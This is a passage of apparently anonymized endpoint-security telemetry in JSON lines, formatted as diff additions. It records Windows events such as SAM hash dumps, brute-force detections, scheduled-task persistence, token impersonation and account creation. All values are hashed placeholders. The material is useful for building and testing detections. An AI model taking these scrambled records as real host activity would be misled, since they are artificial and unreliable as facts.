Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"}
+{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo>\r\n <Author>FSSB0930$</Author>\r\n <URI>\\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe</Command>\r\n <Arguments>/checkin</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task>","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"}
+{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"}
+{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
+{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"}
+{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"}
+{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"}
+{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"}
